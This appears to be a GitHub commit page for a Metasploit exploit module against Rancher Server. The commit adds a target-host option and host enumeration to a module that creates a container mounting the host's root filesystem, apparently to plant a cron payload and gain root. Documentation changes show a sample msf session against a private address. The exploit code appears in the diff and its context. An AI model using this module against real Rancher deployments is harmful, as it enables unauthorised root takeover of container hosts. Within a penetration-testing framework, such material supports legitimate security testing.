Skip to content

Commit 40c58e3

Browse files
committed
Function for selecting the target host
1 parent cc98e80 commit 40c58e3

File tree

2 files changed

+23
-2
lines changed

2 files changed

+23
-2
lines changed

documentation/modules/exploit/linux/http/rancher_server.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -84,6 +84,7 @@ This module is designed to gain root access on a Rancher Host.
8484
- CONTAINER_ID if you want to have a human readable name for your container, otherwise it will be randomly generated.
8585
- DOCKERIMAGE is the local image or hub.docker.com available image you want to have Rancher to deploy for this exploit.
8686
- TARGETURI this is the Rancher Server API path. The default environment is `/v1/projects/1a5`.
87+
- TARGETHOST is the Rancher Host ID for the target system. The default host is `1h1`.
8788
- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start.
8889

8990
By default access control is disabled, but if enabled, you need API
@@ -112,6 +113,8 @@ LHOST => 192.168.91.1
112113
msf exploit(rancher_server) > set VERBOSE true
113114
VERBOSE => true
114115
msf exploit(rancher_server) > check
116+
117+
[+] TARGETHOST 1h1 found on TARGETURI /v1/projects/1a5
115118
[*] 192.168.91.111:8080 The target appears to be vulnerable.
116119
msf exploit(rancher_server) > exploit
117120

modules/exploits/linux/http/rancher_server.rb

Lines changed: 20 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,7 @@ def initialize(info = {})
4040
[
4141
Opt::RPORT(8080),
4242
OptString.new('TARGETURI', [ true, 'Path to Rancher Environment', '/v1/projects/1a5' ]),
43+
OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]),
4344
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
4445
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]),
4546
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
@@ -85,6 +86,7 @@ def make_container(mnt_path, cron_path, payload_path, container_id)
8586
'instanceTriggeredStop' => 'stop',
8687
'startOnCreate' => true,
8788
'networkMode' => 'managed',
89+
'requestedHostId' => datastore['TARGETHOST'],
8890
'type' => 'container',
8991
'dataVolumes' => [ '/:' + mnt_path ],
9092
'imageUuid' => 'docker:' + datastore['DOCKERIMAGE'],
@@ -97,7 +99,7 @@ def make_container(mnt_path, cron_path, payload_path, container_id)
9799
def check
98100
res = send_request_raw(
99101
'method' => 'GET',
100-
'uri' => normalize_uri(target_uri.path, 'containers'),
102+
'uri' => normalize_uri('/v1/projects'),
101103
'headers' => { 'Accept' => 'application/json' }
102104
)
103105

@@ -112,7 +114,23 @@ def check
112114
end
113115

114116
if res.code == 200 and res.headers.to_json.include? 'X-Rancher-Version'
115-
return Exploit::CheckCode::Appears
117+
# get all rancher environments
118+
projects = JSON.parse(res.body)['data'].map{ |data| data['id'] }
119+
# get all hosts from environments
120+
target_found = false
121+
projects.each do |project|
122+
res = send_request_raw(
123+
'method' => 'GET',
124+
'uri' => normalize_uri('/v1/projects', project, 'hosts'),
125+
'headers' => { 'Accept' => 'application/json' }
126+
)
127+
hosts = JSON.parse(res.body)['data'].map{ |data| data['id'] }
128+
hosts.each do |host|
129+
target_found = true
130+
print_good ("TARGETHOST #{host} found on TARGETURI /v1/projects/#{project}")
131+
end
132+
end
133+
return Exploit::CheckCode::Appears if target_found == true
116134
end
117135

118136
Exploit::CheckCode::Safe

0 commit comments

Comments
 (0)